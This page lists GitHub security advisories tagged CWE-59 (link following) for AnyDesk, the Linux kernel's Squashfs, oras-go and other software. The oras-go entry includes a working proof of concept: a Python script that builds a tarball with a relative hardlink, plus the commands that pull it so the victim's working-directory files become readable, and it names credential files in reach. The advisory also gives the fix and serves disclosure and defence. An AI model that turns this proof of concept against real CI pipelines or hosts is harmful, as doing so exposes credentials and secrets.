CWE-59
AllowedImproper Link Resolution Before File Access ('Link Following')
Abstraction: Base · Status: Draft
The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.
1993 vulnerabilities reference this CWE, most recent first.
GHSA-FXCJ-7H34-WRRR
Vulnerability from github – Published: 2026-07-14 00:31 – Updated: 2026-07-14 00:31AnyDesk Screen Recording Link Following Denial-of-Service Vulnerability. This vulnerability allows local attackers to create a denial-of-service condition on affected installations of AnyDesk. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.
The specific flaw exists within the handling of screen recording files. By creating a junction, an attacker can abuse the service to create arbitrary files. An attacker can leverage this vulnerability to create a denial-of-service condition on the system. Was ZDI-CAN-26591.
{
"affected": [],
"aliases": [
"CVE-2026-15681"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-13T22:16:45Z",
"severity": "MODERATE"
},
"details": "AnyDesk Screen Recording Link Following Denial-of-Service Vulnerability. This vulnerability allows local attackers to create a denial-of-service condition on affected installations of AnyDesk. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\nThe specific flaw exists within the handling of screen recording files. By creating a junction, an attacker can abuse the service to create arbitrary files. An attacker can leverage this vulnerability to create a denial-of-service condition on the system. Was ZDI-CAN-26591.",
"id": "GHSA-fxcj-7h34-wrrr",
"modified": "2026-07-14T00:31:01Z",
"published": "2026-07-14T00:31:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15681"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-400"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FXHP-MV3V-67QP
Vulnerability from github – Published: 2026-07-01 21:48 – Updated: 2026-07-01 21:48Root cause
The tar-extraction helper ensureLinkPath at content/file/utils.go:262-275 validates that a hardlink's target resolves inside the extract base, but then returns the original unresolved target string back to the caller:
func ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) {
path := target
if !filepath.IsAbs(target) {
path = filepath.Join(filepath.Dir(link), target) // resolved FOR VALIDATION
}
if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil {
return "", err
}
return target, nil // <-- returns the ORIGINAL target, not the validated path
}
The caller for TypeLink hardlinks then does:
case tar.TypeLink:
var target string
if target, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil {
err = os.Link(target, filePath)
}
os.Link(oldname, newname) wraps the link(2) system call. From the link(2) man page:
oldpath and newpath are interpreted relative to the current working directory of the calling process.
So when target (i.e., header.Linkname) is a relative path, os.Link resolves it against the process's current working directory, not against filepath.Dir(link) as the validation assumed.
Attack
An attacker who controls an OCI-compliant registry (or any artifact source the victim consumes via oras pull) crafts a tarball layer with:
- A regular file:
payload.tar.gz/README.txt. - A hardlink entry:
Typeflag=TypeLink,Name=payload.tar.gz/evil_cwd_link,Linkname="victim.secret"(relative).
and marks the layer descriptor with io.deis.oras.content.unpack: "true" (a standard annotation that tells oras-go to auto-extract).
When a victim runs oras pull (or any Go code using content.File), the extraction:
- Validates
payload.tar.gz/evil_cwd_link— passes. - Calls
ensureLinkPath(dirPath, "payload.tar.gz", filePath, "victim.secret"): path = filepath.Join(filepath.Dir(filePath), "victim.secret")=<extract_base>/payload.tar.gz/victim.secret→ inside base → validation passes.- Returns
target = "victim.secret"(NOTpath). - Calls
os.Link("victim.secret", "<extract_base>/payload.tar.gz/evil_cwd_link"). link(2)resolves relativeoldname="victim.secret"against process CWD → creates a hardlink inside the extract tree pointing to<invoker_CWD>/victim.secret.
The resulting hardlink and the CWD file share an inode — reading one reads the other; writing to one writes to the other.
Proof of Concept
Tested on Ubuntu 24.04.4 LTS with oras CLI v1.3.0 (SHA-256 040e140304b7dbdd9b40dacd798e2303cea44ad84eeb210750afdf15f1dcf8b4, downloaded from https://github.com/oras-project/oras/releases/download/v1.3.0/oras_1.3.0_linux_amd64.tar.gz).
Reproduction script (standalone, ~50 lines) attached. Summary of key steps:
# 1. Place victim file in the future CWD.
mkdir -p cwd-space extract
echo "TOP SECRET FROM CWD" > cwd-space/victim.secret
# 2. Craft malicious tarball with a TypeLink entry whose Linkname is RELATIVE.
python3 -c '
import tarfile, io, os
with tarfile.open("cwd-space/payload.tar.gz", "w:gz", format=tarfile.GNU_FORMAT) as t:
info = tarfile.TarInfo(name="payload.tar.gz/README.txt")
c = b"pulled from registry"; info.size = len(c); info.mode = 0o644
info.uid = os.getuid(); info.gid = os.getgid()
t.addfile(info, io.BytesIO(c))
link = tarfile.TarInfo(name="payload.tar.gz/evil_cwd_link")
link.type = tarfile.LNKTYPE
link.linkname = "victim.secret" # RELATIVE
link.mode = 0o644; link.uid = os.getuid(); link.gid = os.getgid()
t.addfile(link)
'
# 3. Push to OCI layout, patch in the unpack annotation, pull from cwd-space.
(cd cwd-space && oras push --oci-layout ../layout:v1 \
payload.tar.gz:application/vnd.oci.image.layer.v1.tar+gzip)
# ... patch layout/blobs/sha256/<manifest> to add
# io.deis.oras.content.unpack: "true" on layers[0].annotations ...
(cd cwd-space && oras pull --oci-layout ../layout:v1 --output ../extract)
# 4. Observe inode sharing.
stat -c '%i' extract/payload.tar.gz/evil_cwd_link # → 6554160
stat -c '%i' cwd-space/victim.secret # → 6554160 (SAME)
cat extract/payload.tar.gz/evil_cwd_link # → "TOP SECRET FROM CWD"
Observed output:
evil_cwd_link (inside extract dir): inode=6554160
victim.secret (in invoker CWD): inode=6554160
*** ESCAPE CONFIRMED ***
Reading through the extract-dir hardlink yields the CWD file contents:
TOP SECRET FROM CWD
A library-level regression test is also provided (poc_test.go) that drops into content/file/utils_test.go and runs via go test ./content/file/... -run TestPoC — output shows identical inode match for consumers of the library API.
Impact
Primary: arbitrary-CWD-file read primitive. An attacker-controlled OCI artifact, when pulled by a victim using the oras CLI or any Go program using oras-go/v2/content/file, can create a hardlink inside the victim's extract tree pointing to an arbitrary file in the victim's process CWD (that the invoker UID is permitted to read). Reading the extract-tree hardlink yields that file's contents verbatim.
Secondary: inode-sharing tampering primitive. Any tool that later modifies the extract-tree hardlink (write, chmod, truncate, etc.) modifies the CWD file through the shared inode. This violates the "writes inside the extract dir are confined" invariant that downstream tooling (CI systems, container-image builders, artifact scanners) typically depends on.
High-severity chains:
- CI pipelines where
oras pullruns from a project workspace containing secrets/credentials (.env,.git/config, service-account tokens). The pulled artifact can hardlink those secrets into a location later archived/mounted/published. - Container orchestration where the extract dir is bind-mounted into a lower-trust container while the pull-invoker's CWD is higher-trust. Hardlinks created in the extract tree expose invoker-CWD files across the trust boundary.
- Kubernetes operators / Flux source-controller using
oras-goto fetch artifacts; their CWD is typically/or/root— very sensitive. - Multi-tenant registry proxies that use
oras-goto fetch and re-serve artifacts; each proxy process has a CWD with configuration, keys, or per-tenant state.
Not affected:
oras push(tarball creation side):tarDirectoryin the same file explicitly skips hardlink generation (line 65 comment:"We don't support hard links and treat it as regular files"), so pushed content cannot trigger this on the server.- Symlink extraction path (
TypeSymlink):os.Symlinkstores the target string verbatim and does not CWD-resolve at creation time. The currentensureLinkPathreturn-of-targetis correct for symlinks (the existing validation correctly models the symlink-follow path).
Attack-surface boundary (fs.protected_hardlinks)
On Linux with fs.protected_hardlinks=1 (default on modern distros), link(2) additionally requires the linking user to have READ + WRITE permission on the source file (per may_linkat() in the kernel). Verified on Ubuntu 24.04: as non-root, ln /etc/passwd /tmp/x returns EPERM, and the same via the oras PoC path returns link passwd /tmp/.../evil_passwd: operation not permitted.
So the attacker cannot use this bug to read arbitrary root-owned files (e.g., /etc/shadow) when the victim invokes oras pull as a regular user. The attack surface depends on the invocation context:
| Invocation context | Reachable file classes |
|---|---|
oras pull run by a regular user |
Any file the user OWNS or has write access to in the process CWD: .env, .git/config, .aws/credentials, ~/.ssh/config, project-local secrets, CI workspace files. |
oras pull run as root (systemd without User=, container entrypoint default root, Kubernetes operator) |
Every file on the host filesystem. /etc/shadow, /root/.ssh/id_rsa, bind-mounted host paths, service private keys. |
The user-context attack surface alone is sufficient for supply-chain-grade impact: CI pipelines and developer machines routinely hold API keys, signing keys, and cloud credentials in user-owned files in the working directory. The root-context escalation makes the bug Critical in mainstream Kubernetes/GitOps tooling where oras-go is adopted for artifact distribution.
Proposed fix
Change ensureLinkPath to expose both the verbatim target (for symlinks) and the resolved absolute path (for hardlinks); have the TypeLink case use the resolved path.
// Current behavior preserved for TypeSymlink. TypeLink switches to the resolved
// path to avoid CWD-resolution mismatch at os.Link time.
func ensureLinkPath(baseAbs, baseRel, link, target string) (symlinkTarget, hardlinkPath string, err error) {
path := target
if !filepath.IsAbs(target) {
path = filepath.Join(filepath.Dir(link), target)
}
if _, err = resolveRelToBase(baseAbs, baseRel, path); err != nil {
return "", "", err
}
return target, path, nil
}
case tar.TypeLink:
var absTarget string
if _, absTarget, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil {
err = os.Link(absTarget, filePath)
}
case tar.TypeSymlink:
var symTarget string
symTarget, _, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname)
if err != nil { return err }
if err = os.Symlink(symTarget, filePath); err != nil { ... }
Regression test to add:
Extend Test_extractTarDirectory_HardLink with a third sub-test that:
1. Creates a sentinel file in the test's t.TempDir() (or an explicitly os.Chdir-entered directory) with a known name, e.g. sentinel.txt.
2. Builds a tarball containing a TypeLink entry with Linkname: "sentinel.txt" (relative).
3. Extracts.
4. Asserts either extractTarDirectory returned an error, OR the resulting hardlink's inode does NOT match the sentinel's inode.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "oras.land/oras-go/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.6.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50163"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-01T21:48:04Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Root cause\n\nThe tar-extraction helper `ensureLinkPath` at [`content/file/utils.go:262-275`](https://github.com/oras-project/oras-go/blob/main/content/file/utils.go#L262-L275) validates that a hardlink\u0027s target resolves inside the extract base, but then returns the original unresolved `target` string back to the caller:\n\n```go\nfunc ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) {\n path := target\n if !filepath.IsAbs(target) {\n path = filepath.Join(filepath.Dir(link), target) // resolved FOR VALIDATION\n }\n if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil {\n return \"\", err\n }\n return target, nil // \u003c-- returns the ORIGINAL target, not the validated path\n}\n```\n\nThe caller for `TypeLink` hardlinks then does:\n\n```go\ncase tar.TypeLink:\n var target string\n if target, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil {\n err = os.Link(target, filePath)\n }\n```\n\n`os.Link(oldname, newname)` wraps the `link(2)` system call. From the `link(2)` man page:\n\n\u003e oldpath and newpath are interpreted relative to the current working directory of the calling process.\n\nSo when `target` (i.e., `header.Linkname`) is a **relative** path, `os.Link` resolves it against the process\u0027s **current working directory**, not against `filepath.Dir(link)` as the validation assumed.\n\n### Attack\n\nAn attacker who controls an OCI-compliant registry (or any artifact source the victim consumes via `oras pull`) crafts a tarball layer with:\n\n- A regular file: `payload.tar.gz/README.txt`.\n- A hardlink entry: `Typeflag=TypeLink`, `Name=payload.tar.gz/evil_cwd_link`, `Linkname=\"victim.secret\"` (relative).\n\nand marks the layer descriptor with `io.deis.oras.content.unpack: \"true\"` (a standard annotation that tells `oras-go` to auto-extract).\n\nWhen a victim runs `oras pull` (or any Go code using `content.File`), the extraction:\n\n1. Validates `payload.tar.gz/evil_cwd_link` \u2014 passes.\n2. Calls `ensureLinkPath(dirPath, \"payload.tar.gz\", filePath, \"victim.secret\")`:\n - `path = filepath.Join(filepath.Dir(filePath), \"victim.secret\")` = `\u003cextract_base\u003e/payload.tar.gz/victim.secret` \u2192 inside base \u2192 **validation passes**.\n - Returns `target = \"victim.secret\"` (NOT `path`).\n3. Calls `os.Link(\"victim.secret\", \"\u003cextract_base\u003e/payload.tar.gz/evil_cwd_link\")`.\n4. `link(2)` resolves relative `oldname=\"victim.secret\"` against process CWD \u2192 creates a hardlink inside the extract tree pointing to `\u003cinvoker_CWD\u003e/victim.secret`.\n\nThe resulting hardlink and the CWD file **share an inode** \u2014 reading one reads the other; writing to one writes to the other.\n\n---\n\n## Proof of Concept\n\nTested on Ubuntu 24.04.4 LTS with `oras` CLI v1.3.0 (SHA-256 `040e140304b7dbdd9b40dacd798e2303cea44ad84eeb210750afdf15f1dcf8b4`, downloaded from \u003chttps://github.com/oras-project/oras/releases/download/v1.3.0/oras_1.3.0_linux_amd64.tar.gz\u003e).\n\nReproduction script (standalone, ~50 lines) attached. Summary of key steps:\n\n```bash\n# 1. Place victim file in the future CWD.\nmkdir -p cwd-space extract\necho \"TOP SECRET FROM CWD\" \u003e cwd-space/victim.secret\n\n# 2. Craft malicious tarball with a TypeLink entry whose Linkname is RELATIVE.\npython3 -c \u0027\nimport tarfile, io, os\nwith tarfile.open(\"cwd-space/payload.tar.gz\", \"w:gz\", format=tarfile.GNU_FORMAT) as t:\n info = tarfile.TarInfo(name=\"payload.tar.gz/README.txt\")\n c = b\"pulled from registry\"; info.size = len(c); info.mode = 0o644\n info.uid = os.getuid(); info.gid = os.getgid()\n t.addfile(info, io.BytesIO(c))\n\n link = tarfile.TarInfo(name=\"payload.tar.gz/evil_cwd_link\")\n link.type = tarfile.LNKTYPE\n link.linkname = \"victim.secret\" # RELATIVE\n link.mode = 0o644; link.uid = os.getuid(); link.gid = os.getgid()\n t.addfile(link)\n\u0027\n\n# 3. Push to OCI layout, patch in the unpack annotation, pull from cwd-space.\n(cd cwd-space \u0026\u0026 oras push --oci-layout ../layout:v1 \\\n payload.tar.gz:application/vnd.oci.image.layer.v1.tar+gzip)\n# ... patch layout/blobs/sha256/\u003cmanifest\u003e to add\n# io.deis.oras.content.unpack: \"true\" on layers[0].annotations ...\n\n(cd cwd-space \u0026\u0026 oras pull --oci-layout ../layout:v1 --output ../extract)\n\n# 4. Observe inode sharing.\nstat -c \u0027%i\u0027 extract/payload.tar.gz/evil_cwd_link # \u2192 6554160\nstat -c \u0027%i\u0027 cwd-space/victim.secret # \u2192 6554160 (SAME)\ncat extract/payload.tar.gz/evil_cwd_link # \u2192 \"TOP SECRET FROM CWD\"\n```\n\nObserved output:\n\n```\nevil_cwd_link (inside extract dir): inode=6554160\nvictim.secret (in invoker CWD): inode=6554160\n*** ESCAPE CONFIRMED ***\nReading through the extract-dir hardlink yields the CWD file contents:\nTOP SECRET FROM CWD\n```\n\nA library-level regression test is also provided (`poc_test.go`) that drops into `content/file/utils_test.go` and runs via `go test ./content/file/... -run TestPoC` \u2014 output shows identical inode match for consumers of the library API.\n\n---\n\n## Impact\n\n**Primary: arbitrary-CWD-file read primitive.** An attacker-controlled OCI artifact, when pulled by a victim using the `oras` CLI or any Go program using `oras-go/v2/content/file`, can create a hardlink inside the victim\u0027s extract tree pointing to an arbitrary file in the victim\u0027s process CWD (that the invoker UID is permitted to read). Reading the extract-tree hardlink yields that file\u0027s contents verbatim.\n\n**Secondary: inode-sharing tampering primitive.** Any tool that later modifies the extract-tree hardlink (write, chmod, truncate, etc.) modifies the CWD file through the shared inode. This violates the \"writes inside the extract dir are confined\" invariant that downstream tooling (CI systems, container-image builders, artifact scanners) typically depends on.\n\n**High-severity chains:**\n\n- **CI pipelines** where `oras pull` runs from a project workspace containing secrets/credentials (`.env`, `.git/config`, service-account tokens). The pulled artifact can hardlink those secrets into a location later archived/mounted/published.\n- **Container orchestration** where the extract dir is bind-mounted into a lower-trust container while the pull-invoker\u0027s CWD is higher-trust. Hardlinks created in the extract tree expose invoker-CWD files across the trust boundary.\n- **Kubernetes operators / Flux source-controller** using `oras-go` to fetch artifacts; their CWD is typically `/` or `/root` \u2014 very sensitive.\n- **Multi-tenant registry proxies** that use `oras-go` to fetch and re-serve artifacts; each proxy process has a CWD with configuration, keys, or per-tenant state.\n\n**Not affected:**\n\n- `oras push` (tarball creation side): `tarDirectory` in the same file explicitly skips hardlink generation (line 65 comment: `\"We don\u0027t support hard links and treat it as regular files\"`), so pushed content cannot trigger this on the server.\n- Symlink extraction path (`TypeSymlink`): `os.Symlink` stores the target string verbatim and does not CWD-resolve at creation time. The current `ensureLinkPath` return-of-`target` is correct for symlinks (the existing validation correctly models the symlink-follow path).\n\n### Attack-surface boundary (`fs.protected_hardlinks`)\n\nOn Linux with `fs.protected_hardlinks=1` (default on modern distros), `link(2)` additionally requires the linking user to have READ + WRITE permission on the source file (per `may_linkat()` in the kernel). Verified on Ubuntu 24.04: as non-root, `ln /etc/passwd /tmp/x` returns `EPERM`, and the same via the oras PoC path returns `link passwd /tmp/.../evil_passwd: operation not permitted`.\n\n**So the attacker cannot use this bug to read arbitrary root-owned files (e.g., `/etc/shadow`) when the victim invokes `oras pull` as a regular user.** The attack surface depends on the invocation context:\n\n| Invocation context | Reachable file classes |\n|---|---|\n| `oras pull` run by a regular user | Any file the user OWNS or has write access to in the process CWD: `.env`, `.git/config`, `.aws/credentials`, `~/.ssh/config`, project-local secrets, CI workspace files. |\n| `oras pull` run as root (systemd without `User=`, container entrypoint default root, Kubernetes operator) | **Every file on the host filesystem.** `/etc/shadow`, `/root/.ssh/id_rsa`, bind-mounted host paths, service private keys. |\n\nThe user-context attack surface alone is sufficient for supply-chain-grade impact: CI pipelines and developer machines routinely hold API keys, signing keys, and cloud credentials in user-owned files in the working directory. The root-context escalation makes the bug Critical in mainstream Kubernetes/GitOps tooling where oras-go is adopted for artifact distribution.\n\n---\n\n## Proposed fix\n\nChange `ensureLinkPath` to expose both the verbatim target (for symlinks) and the resolved absolute path (for hardlinks); have the `TypeLink` case use the resolved path.\n\n```go\n// Current behavior preserved for TypeSymlink. TypeLink switches to the resolved\n// path to avoid CWD-resolution mismatch at os.Link time.\nfunc ensureLinkPath(baseAbs, baseRel, link, target string) (symlinkTarget, hardlinkPath string, err error) {\n path := target\n if !filepath.IsAbs(target) {\n path = filepath.Join(filepath.Dir(link), target)\n }\n if _, err = resolveRelToBase(baseAbs, baseRel, path); err != nil {\n return \"\", \"\", err\n }\n return target, path, nil\n}\n```\n\n```go\ncase tar.TypeLink:\n var absTarget string\n if _, absTarget, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil {\n err = os.Link(absTarget, filePath)\n }\ncase tar.TypeSymlink:\n var symTarget string\n symTarget, _, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname)\n if err != nil { return err }\n if err = os.Symlink(symTarget, filePath); err != nil { ... }\n```\n\n**Regression test to add:**\n\nExtend `Test_extractTarDirectory_HardLink` with a third sub-test that:\n1. Creates a sentinel file in the test\u0027s `t.TempDir()` (or an explicitly `os.Chdir`-entered directory) with a known name, e.g. `sentinel.txt`.\n2. Builds a tarball containing a `TypeLink` entry with `Linkname: \"sentinel.txt\"` (relative).\n3. Extracts.\n4. Asserts either `extractTarDirectory` returned an error, OR the resulting hardlink\u0027s inode does NOT match the sentinel\u0027s inode.",
"id": "GHSA-fxhp-mv3v-67qp",
"modified": "2026-07-01T21:48:04Z",
"published": "2026-07-01T21:48:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oras-project/oras-go/security/advisories/GHSA-fxhp-mv3v-67qp"
},
{
"type": "WEB",
"url": "https://github.com/oras-project/oras-go/commit/b11f777f8d405c5023c4b307cfdc5068dfc3d406"
},
{
"type": "PACKAGE",
"url": "https://github.com/oras-project/oras-go"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "`oras-go` tar extraction: Hardlink entry with relative Linkname escapes extract dir via process CWD resolution"
}
GHSA-FXVQ-H88X-3JFR
Vulnerability from github – Published: 2024-09-18 09:30 – Updated: 2026-05-12 12:32In the Linux kernel, the following vulnerability has been resolved:
Squashfs: sanity check symbolic link size
Syzkiller reports a "KMSAN: uninit-value in pick_link" bug.
This is caused by an uninitialised page, which is ultimately caused by a corrupted symbolic link size read from disk.
The reason why the corrupted symlink size causes an uninitialised page is due to the following sequence of events:
-
squashfs_read_inode() is called to read the symbolic link from disk. This assigns the corrupted value 3875536935 to inode->i_size.
-
Later squashfs_symlink_read_folio() is called, which assigns this corrupted value to the length variable, which being a signed int, overflows producing a negative number.
-
The following loop that fills in the page contents checks that the copied bytes is less than length, which being negative means the loop is skipped, producing an uninitialised page.
This patch adds a sanity check which checks that the symbolic link size is not larger than expected.
--
V2: fix spelling mistake.
{
"affected": [],
"aliases": [
"CVE-2024-46744"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-18T08:15:03Z",
"severity": "HIGH"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nSquashfs: sanity check symbolic link size\n\nSyzkiller reports a \"KMSAN: uninit-value in pick_link\" bug.\n\nThis is caused by an uninitialised page, which is ultimately caused\nby a corrupted symbolic link size read from disk.\n\nThe reason why the corrupted symlink size causes an uninitialised\npage is due to the following sequence of events:\n\n1. squashfs_read_inode() is called to read the symbolic\n link from disk. This assigns the corrupted value\n 3875536935 to inode-\u003ei_size.\n\n2. Later squashfs_symlink_read_folio() is called, which assigns\n this corrupted value to the length variable, which being a\n signed int, overflows producing a negative number.\n\n3. The following loop that fills in the page contents checks that\n the copied bytes is less than length, which being negative means\n the loop is skipped, producing an uninitialised page.\n\nThis patch adds a sanity check which checks that the symbolic\nlink size is not larger than expected.\n\n--\n\nV2: fix spelling mistake.",
"id": "GHSA-fxvq-h88x-3jfr",
"modified": "2026-05-12T12:32:07Z",
"published": "2024-09-18T09:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-46744"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/087f25b2d36adae19951114ffcbb7106ed405ebb"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/1b9451ba6f21478a75288ea3e3fca4be35e2a438"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/5c8906de98d0d7ad42ff3edf2cb6cd7e0ea658c4"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/810ee43d9cd245d138a2733d87a24858a23f577d"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/c3af7e460a526007e4bed1ce3623274a1a6afe5e"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/ef4e249971eb77ec33d74c5c3de1e2576faf6c90"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/f82cb7f24032ed023fc67d26ea9bf322d8431a90"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/fac5e82ab1334fc8ed6ff7183702df634bd1d93d"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FXW7-VP2V-8V43
Vulnerability from github – Published: 2022-05-17 05:51 – Updated: 2022-05-17 05:51screenie in screenie 1.30.0 allows local users to overwrite arbitrary files via a symlink attack on a /tmp/.screenie.##### temporary file.
{
"affected": [],
"aliases": [
"CVE-2008-5371"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-12-08T23:30:00Z",
"severity": "MODERATE"
},
"details": "screenie in screenie 1.30.0 allows local users to overwrite arbitrary files via a symlink attack on a /tmp/.screenie.##### temporary file.",
"id": "GHSA-fxw7-vp2v-8v43",
"modified": "2022-05-17T05:51:59Z",
"published": "2022-05-17T05:51:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-5371"
},
{
"type": "WEB",
"url": "http://lists.debian.org/debian-devel/2008/08/msg00283.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/32737"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-FXWP-MH6R-G9MM
Vulnerability from github – Published: 2022-05-14 03:46 – Updated: 2022-05-14 03:46clipedit in the Clipboard module for Perl allows local users to delete arbitrary files via a symlink attack on /tmp/clipedit$$.
{
"affected": [],
"aliases": [
"CVE-2014-5509"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-01-08T19:29:00Z",
"severity": "MODERATE"
},
"details": "clipedit in the Clipboard module for Perl allows local users to delete arbitrary files via a symlink attack on /tmp/clipedit$$.",
"id": "GHSA-fxwp-mh6r-g9mm",
"modified": "2022-05-14T03:46:39Z",
"published": "2022-05-14T03:46:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-5509"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1135624"
},
{
"type": "WEB",
"url": "https://rt.cpan.org/Public/Bug/Display.html?id=98435"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2014/08/30/2"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/69473"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-G26J-XPV7-CFWG
Vulnerability from github – Published: 2022-05-24 17:10 – Updated: 2022-12-08 03:30A UNIX Symbolic Link (Symlink) Following vulnerability in chkstat of SUSE Linux Enterprise Server 12, SUSE Linux Enterprise Server 15, SUSE Linux Enterprise Server 11 set permissions intended for specific binaries on other binaries because it erroneously followed symlinks. The symlinks can't be controlled by attackers on default systems, so exploitation is difficult. This issue affects: SUSE Linux Enterprise Server 12 permissions versions prior to 2015.09.28.1626-17.27.1. SUSE Linux Enterprise Server 15 permissions versions prior to 20181116-9.23.1. SUSE Linux Enterprise Server 11 permissions versions prior to 2013.1.7-0.6.12.1.
{
"affected": [],
"aliases": [
"CVE-2020-8013"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-03-02T17:15:00Z",
"severity": "LOW"
},
"details": "A UNIX Symbolic Link (Symlink) Following vulnerability in chkstat of SUSE Linux Enterprise Server 12, SUSE Linux Enterprise Server 15, SUSE Linux Enterprise Server 11 set permissions intended for specific binaries on other binaries because it erroneously followed symlinks. The symlinks can\u0027t be controlled by attackers on default systems, so exploitation is difficult. This issue affects: SUSE Linux Enterprise Server 12 permissions versions prior to 2015.09.28.1626-17.27.1. SUSE Linux Enterprise Server 15 permissions versions prior to 20181116-9.23.1. SUSE Linux Enterprise Server 11 permissions versions prior to 2013.1.7-0.6.12.1.",
"id": "GHSA-g26j-xpv7-cfwg",
"modified": "2022-12-08T03:30:33Z",
"published": "2022-05-24T17:10:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8013"
},
{
"type": "WEB",
"url": "https://bugzilla.suse.com/show_bug.cgi?id=1163922"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-03/msg00010.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-G29R-VM3J-H4PJ
Vulnerability from github – Published: 2025-05-09 18:30 – Updated: 2025-05-09 18:30Link Following Local Privilege Escalation Vulnerability in TuneupSvc in Gen Digital Inc. Avast Cleanup Premium Version 24.2.16593.17810 on Windows 10 Pro x64 allows local attackers to escalate privileges and execute arbitrary code in the context of SYSTEM via creating a symbolic link and leveraging a TOCTTOU (time-of-check to time-of-use) attack.
{
"affected": [],
"aliases": [
"CVE-2024-13962"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-09T16:15:23Z",
"severity": "HIGH"
},
"details": "Link Following Local Privilege Escalation Vulnerability in TuneupSvc in Gen Digital Inc. Avast Cleanup Premium Version 24.2.16593.17810 on Windows 10 Pro x64 allows local attackers to escalate privileges and execute arbitrary code in the context of SYSTEM via creating a symbolic link and leveraging a TOCTTOU (time-of-check to time-of-use) attack.",
"id": "GHSA-g29r-vm3j-h4pj",
"modified": "2025-05-09T18:30:37Z",
"published": "2025-05-09T18:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13962"
},
{
"type": "WEB",
"url": "https://www.gendigital.com/us/en/contact-us/security-advisories"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G2CQ-GP92-98C4
